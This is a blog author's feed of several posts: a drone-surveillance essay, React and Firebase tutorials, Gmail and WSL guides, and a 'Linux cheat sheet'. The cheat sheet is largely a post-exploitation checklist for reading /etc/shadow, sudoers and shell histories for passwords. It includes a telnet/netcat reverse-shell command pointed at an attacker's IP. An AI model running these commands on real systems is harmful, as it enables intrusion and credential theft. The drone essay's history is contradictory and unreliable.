DEV Community: Justin Varghese

DRONE SURVEILLANCE

Justin Varghese — Sun, 03 Jul 2022 07:10:49 +0000

DRONE was invented by Abraham Karem .He imagined his
drones involved in a “tactical conflict with the Warsaw Pact, be
it on the plains of Germany or as part of our Navy and Marines.
In 1935 the first drone is developed . The purpose was to detect
the target from heights and for military purposes as well. And
it’s a important part of civil life . Drones are very useful and
became very popular these days they possess areas ability to
reach area without pilot. Over 5 million people started using
drone for different purposes .
Drone was invented for security purposes. So it’s obvious that it
can contribute exceptionally in that task . Drones have
capabilities , small size and ability to withstand harsh
environments mean they can often survey subjects that might
not be accessible otherwise and can access a first-person view
(FPV) that would normally be impossible for the photographer.
Beyond surveillance UAV’s are used for drone journalism ,
search and rescue. Both fixed- wing and multi-rotor drones are
used for surveillance . Fixed-wing UAVs are typically used to
patrol larger areas such as coastlines, borders and long sections
of road and infrastructure, as they have greater flight
endurance and can cover a greater distance without recharging
or refuelling. Drones can be used to peer in windows to record
meetings, or to identify any valuable information in plain sight.
DRONES are considered as the best inventions of humans till
now . The invention which contributed many ways to the
security system by providing high-quality aerial photographs
and video, and collecting vast amounts of imaging data.

Build a Todo List App With React JS For Beginners.

Justin Varghese — Sat, 23 Oct 2021 08:54:43 +0000

Introduction

Today let's build a Todo List app using React JS and localStorage.

Prerequisite

Nodejs
IDE || Notepad xD

Installation

Create a React app using npx create-react-app todolist in the terminal.
Open the Folder in your IDE by typing code . in the terminal (if using Visual Studio) , in my case i am using VS Code
Type npm start in the terminal for running the app.

Clean-Up Process

Here in the src Folder there are few Items to be removed as there is no need for them in our app.
Files to be removed :-
App.test.js
logo.svg
reportWebVitals.js
setupTests.js

Configuration after Clean up

App.js -
index.js -

Starting Build of the App...

First Setup a Simple Front end , Here's the UI which i am using:-
https://codepen.io/BeeCodes/pen/MWYEwov
This is the ui here.
Gist Of App.js
Css

Tracking the values of the input.

Using useState track the value of the useState
Install uuid using npm i uuid

Create an handler for setting the data into an array

Here while settingData we aren't using "setState" because the previous todo will be cleared. That is why we are using push method.
We are setting the todo in the localStorage, So that we can get our todo's after refresh

Displaying The Todo

Assign the addTodo to the submit button.
Map the State Data.

## Getting Data from the localStorage

Here we need to pass the setState as JSON.parse , else the state will get String as value

Implementing Delete Feature

for deleting , we will be using filter method and setting it to the state and pushing the data into localStorage
Assign the handler to the delete button

Deployed Link:- https://todo-list-app-one.vercel.app/
Github Link:- https://github.com/Justinnn07/todo-list-app

About Author

Ultimate Linux Cheat Sheet

Justin Varghese — Tue, 02 Mar 2021 20:03:22 +0000

*Do you want to become ethical hacker and want to know how hackers hack in Real World. Join the telegram group and be a
part of us *

Telegram = https://t.me/infosecbugbounty

Introduction

Linux commands may seem intimidating at first glance if you are not used to using the terminal. There are many commands for performing operations and processes on your Linux system.

No matter whether you are new to Linux or an experienced user, having a list of common commands close at hand is helpful.

In this tutorial, you will find commonly used Linux commands as well list of common Linux commands
Important: Depending on your system setup, some of the commands below may require invoking sudo to be executed

A list of all Linux commands commonly used with Linux operating systems.
Linux Commands List

File Commands
List files in the directory:

ls
List all files (shows hidden files):

ls -a
Show directory you are currently working in:

pwd
Create a new directory:

mkdir [directory]
Make a new directory

*rm [file_name] *
Remove a directory recursively

rm -rf [directory_name]
It deletes the directory

cp [file_name1] [file_name2]
Recursively copy the contents of one file to a second file:

cp -r [directory_name1] [directory_name2]
Rename [file_name1] to [file_name2] with the command:

mv [file_name1] [file_name2]
Create a symbolic link to a file:

ln -s /path/to/[file_name] [link_name]
Create a new file:

touch [file_name]

Hardware Information

Show bootup messages:

dmesg
See CPU information:

cat /proc/cpuinfo
Display free and used memory with:

free -h
List hardware configuration information:

lshw
See information about block devices:

lsblk
Show PCI devices in a tree-like diagram:

lspci -tv
Display USB devices in a tree-like diagram:

lsusb -tv
Show hardware information from the BIOS:

dmidecode
Display disk data information:

hdparm -i /dev/disk
Conduct a read-speed test on device/disk:

hdparm -tT /dev/[device]
Test for unreadable blocks on device/disk:

badblocks -s /dev/[device]

Operating System
What's the distribution type? What version?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release

What's the kernel version? Is it 64-bit?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

Is there a printer?

lpstat -a

Applications & Services

What services are running? Which service has which user privilege?

ps aux
ps -ef
top
cat /etc/services

Which service(s) are been running by root? Of these services, which are vulnerable

ps aux | grep root
ps -ef | grep root

What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.r./

What jobs are scheduled?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

Communications & Networking
What NIC(s) does the system have? Is it connected to another network?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

What other users & hosts are communicating with the system?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

Whats cached? IP and/or MAC addresses

arp -e
route
/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

Have you got a shell? Can you interact with the system?

nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!

Confidential Information & Users
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?**

id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

What sensitive files can be found?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

Anything "interesting" in the home directorie(s)? If it's possible to access

ls -ahlR /root/
ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been editing?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

What user information can be found?

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

Hey Guys we just dropped our 1st video on YouTube at 10 Am (IST) on 16 January 2020 .Please hit that subscribe button and make sure you smash that like button .Hotstar+Disney is a very famous streaming and entertainment service in India with more than 27 millon paid viewers and 300 millon monthly active users . We would love to hear your response .

https://www.youtube.com/watch?v=4pjpHUN28kk

Be a part of us 🚀 🚀
Telegram https://t.me/forthecommunity
Discord https://discord.com/invite/QsAqC4yKkm
Facebook https://www.facebook.com/forcommunity.tech
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How to Make Automatically Reply to Emails in Gmail

Justin Varghese — Sun, 28 Feb 2021 14:08:23 +0000

Today almost everyone is using email services in daily life. And that is why we are here with How To Reply Common Emails Automatically In Gmail.

In this article we will discuss about automated emails that you can send automatically through your account.

As sometime you are on a position in which you have to reply an email with same text every time.

So in this method you will be setting a fix message for some certain queries and Gmail will work for you and will send the reply back as set by you earlier.

So have a look in this cool method that can reduce your boring work of sending same mails to common queries.

Steps To Make Your Gmail Automatic Replier To Common Emails You Receive :-

First of all login into your gmail account where you want to set up Gmail Automatic Reply.
1. Now click on the down arrow button near the Gmail search box there.
2. Now there you will see a form that instantly appears when you click on that arrow button.1
3. Now fill up the form completely and in the field Have the word and Does not Have the word there you can set the words that you commonly received in you emails and you want to set them accordingly.
4. Now after completely filling the form click on Create filter with this search at the bottom right corner of the form.
5. Now on next box you will see option there mark on Send canned response and there you will specify the canned reply from previous conversations.
6. After completing these all just click on Create Filter there and the filter will get created.
7. That's it you are done. Now gmail will send automatic response to the mails received with the matched details.

Hey Guys we just dropped our 1st video on YouTube .Please hit that subscribe button and make sure you smash that like button .Hotstar+Disney is a very famous streaming and entertainment service in India with more than 27 millon paid viewers and 300 millon monthly active users . We would love to hear your response .

https://www.youtube.com/watch?v=4pjpHUN28kk

What is WSL ? What are the Features of WSL ?

Justin Varghese — Tue, 19 Jan 2021 11:51:45 +0000

WSL also known as windows Subsystem for linux .The Windows Subsystem for Linux lets developers run a GNU/Linux environment -- including most command-line tools, utilities, and applications -- directly on Windows, unmodified, without the overhead of a traditional virtual machine or dual boot setup. Which helps users to save a plenty of time by not running into an error .Even after so many efforts put by Microsoft, Users love to use Linux over Windows .

Features of WSL

You can Run common command-line tools such as grep, sed, awk, or other ELF-64 binaries.
Run Bash shell scripts and GNU/Linux command-line applications including:
Tools: vim, emacs, tmux
Languages: NodeJS, Javascript, Python, Ruby, C/C++, C# & F#, Rust, Go, etc.
Services: SSHD, MySQL, Apache, lighttpd, MongoDB, PostgreSQL.
Install additional software using your own GNU/Linux distribution package manager.
Invoke Windows applications using a Unix-like command-line shell.
Invoke GNU/Linux applications on Windows.

Please also subscribe our YouTube Channel
Hostar+Disney Clone made for Beginners using Reacts js
https://www.youtube.com/watch?v=4pjpHUN28kk&fbclid=IwAR02hJnCgk5qXDVdHPsCxqZgm8dY2kWXbGdRuFwtaHLBuV0TQiLQvJzw1t0&ab_channel=ForCommunity

TOP 5 REACTJS PROJECTS FOR WEB DEVELOPERS! 🔥

Justin Varghese — Sun, 03 Jan 2021 18:27:58 +0000

Today we will focus on the top 5 React JS projects for you to land a job as a developer in 2021!!

When it comes to projects, focus on what you are up to, So if you want to be a front-end developer or a backend dev, Here are 5 front end as well as backend projects that will land you a job as a dev in 2021!

Front-End

1.Netflix-Clone

This Includes CSS
This will show you, how to fetch api's
This will use other libraries of react to display dummy videos

2.Hotstar-Clone

This Includes CSS
This will show you how to map data from Firebase

3.Hulu-Clone

This includes CSS
this will show you how to fetch and map data from TMDB api

4.Prime-Video clone

This includes the carousel in the home page
this will show you how to map data from firebase

5.Airbnb-Clone

This includes CSS

Back-End

1.Facebook-Clone

This includes CSS
This includes user authentication
This includes database
This includes react-context API
This has the ability to text each other

2.Discord-Clone

This includes CSS
This includes User Auth
This includes Database
This includes Redux
This has the ability to text each other

3.twitter-clone

This includes css
This includes database

4.Spotify-Clone

So, That's it for today, Make sure you like, share this post, will meet in next blog

Thanks
Justin

How to deploy a web app to Firebase

Justin Varghese — Sun, 27 Dec 2020 16:14:48 +0000

Firebase is a tool powered by Google for developing mobile and web applications, It offers free hosting, NoSQL databases and many more services and makes our life pretty easier as compared to other backends like node.js etc. All you need is a Gmail account..

Setup

Firstly, create a project on Firebase
Make sure you have Nodejs installed in your system
Open up the terminal and install the firebase-cli by npm i -g firebase-tools
PS: On Linux or Mac type sudo npm i -g firebase-tools - this
will give admin privileges and avoid errors

Deploying our web app to firebase

Firstly open up the terminal cd into the right directory and login into your firebase account by firebase login
Type firebase init in the terminal of the same directory
Select Hosting from the drop-down
It will ask for the root folder where your files to be deployed is contained public - will be the default folder
PS: In case OF React JS or angular JS type in npm run build and configure your root folder as build
The next few options you may either hit enter or follow it accordingly
Lastly, Type firebase deploy in the terminal, Your app will be deployed with the url based on the project configured

That's it for today!

Hope you liked the post, if you’ve got any questions your can Mail us mail@stephinreji.me or join our Discord-server

Thanks